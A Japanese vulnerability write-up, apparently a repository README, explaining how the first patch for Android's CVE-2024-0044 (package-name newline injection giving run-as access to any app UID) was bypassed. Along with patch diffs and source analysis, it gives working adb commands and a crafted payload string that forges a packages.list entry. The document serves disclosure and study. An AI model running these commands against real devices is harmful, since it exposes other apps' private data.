
CVE-2024-0044の初期パッチを回避するための概念実証と解説書。ADBから任意のアプリUIDへの権限昇格を可能にする、インストーラーパッケージ名インジェクションを介したAndroidフレームワークの脆弱性です。
CVE-2024-0044/A-307532206 は、Androidフレームワークにおける高深刻度の脆弱性であり、adbアクセスを持つ攻撃者が任意のアプリのUIDで任意のコードを実行することを可能にします。この脆弱性はMeta Red Team XのTom Hebb氏によって発見されました。インターネット上では、この脆弱性を悪用する方法に関する多くの記事を見つけることができます。例えば、こちらやこちらです。詳細については、次のブログを確認してください:https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
この脆弱性に対するパッチは2024年3月のAndroidセキュリティ情報に含まれていましたが、現在、パッチを回避するエクスプロイトを考案しました。新しいパッチは2024年10月のAndroidセキュリティ情報に同じCVE ID CVE-2024-0044として含まれています。2024年10月1日より前のセキュリティパッチレベルのAndroid 12-13デバイスがこの問題の影響を受けます。
このリポジトリには、最小限の再現可能なPoCと解説が含まれています。
パッチはPackageManagerServiceに渡されるインストーラパッケージ名の検証を追加しました:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
params.installerPackageNameは、それが正当なAndroidパッケージ名でない場合、nullにリセットされることがわかります。しかし、次の行では、params.installerPackageNameがnullまたは無効な場合、requestedInstallerPackageNameはinstallerPackageNameになる可能性があります。
installerPackageNameとは何でしょうか?
パッチが追加されたcreateSessionInternalメソッドを見てみましょう:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
installerPackageNameはparamから来ていない別の引数であることがわかります。元のパッチはparams.installerPackageNameを検証しましたが、installerPackageNameの検証を忘れていました。
再現には、Tom Hebbのブログの元のエクスプロイトコードを使用するだけです。このリポジトリには最小限の再現可能なPoCも含まれています。私のPoCをテストしたい場合は、ビルドして生成されたapkを/data/local/tmp/poc.apkにプッシュし、adb shellで次のコードを実行してください:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
<victim uid>を被害アプリのUIDに置き換えてください。
再度試したい場合は、adb uninstall top.canyie.cve_2024_0044を実行してから、上記のコードを再実行してください。
問題は明白に見えますが、なぜ誰も気づかなかったのでしょうか?
Googleはこの問題に対して修正を確認するためのテストを追加しました:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
テストは公開されている標準のPackageInstaller APIを使用しており、installerPackageNameをカスタマイズすることはできません。公開APIでは、installerPackageNameは常に提供されたContextの実際のパッケージ名に設定されます:
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
呼び出し元がサードパーティアプリの場合、installerPackageNameは呼び出し元に属することが保証されます。呼び出し元がadbの場合、常にnullにリセットされるため、これは問題ないように見えます:
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
しかし、操作はrequestedInstallerPackageNameがinstallerPackageNameに設定された後に行われるため、元の値が保持されます。
しかし、独自のPoCを書く代わりにTom Hebbが提供した元のPoCを実行すれば、pmコマンドがカスタマイズされたinstallerPackageNameで内部のcreateSessionメソッドを呼び出すため、問題を発見できます。
さらに疑問があります。PoCが公開されているのに、なぜ他の誰も問題を発見しなかったのでしょうか?
この脆弱性はインターネット上で多くの人によって分析、再現、悪用されており、JD Dawn Security LabのQidan He(flanker)氏による記事(ちなみにCVE-2024-31317に関する非常に興味深い記事です)があります。そこには「其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp」(「CVE-2024-0044は単純で直接的であるため、技術コミュニティで広く分析され、公開されたexpが存在する」)とありますが、まるで魔法にかかったかのように誰も気づきませんでした。
実際、パッチ適用済みビルドでエクスプロイトを再現した人がいますが、著者は何が起こったのか気づいていないようです。私はコードレビューでこれを発見し、元のパッチがリリースされてから2ヶ月後の2024年5月16日に報告しました。もし私より前に誰かが数秒余分にパッチを注意深く見たり、パッチ適用済みビルドでPoCを実行して問題が実際に修正されているかどうかを確認していれば、バグ報奨金はその人のものになっていたでしょう。これは中国の歌詞「再多看一眼就会爆炸」(「もう一度見たら爆発する」)のように聞こえます。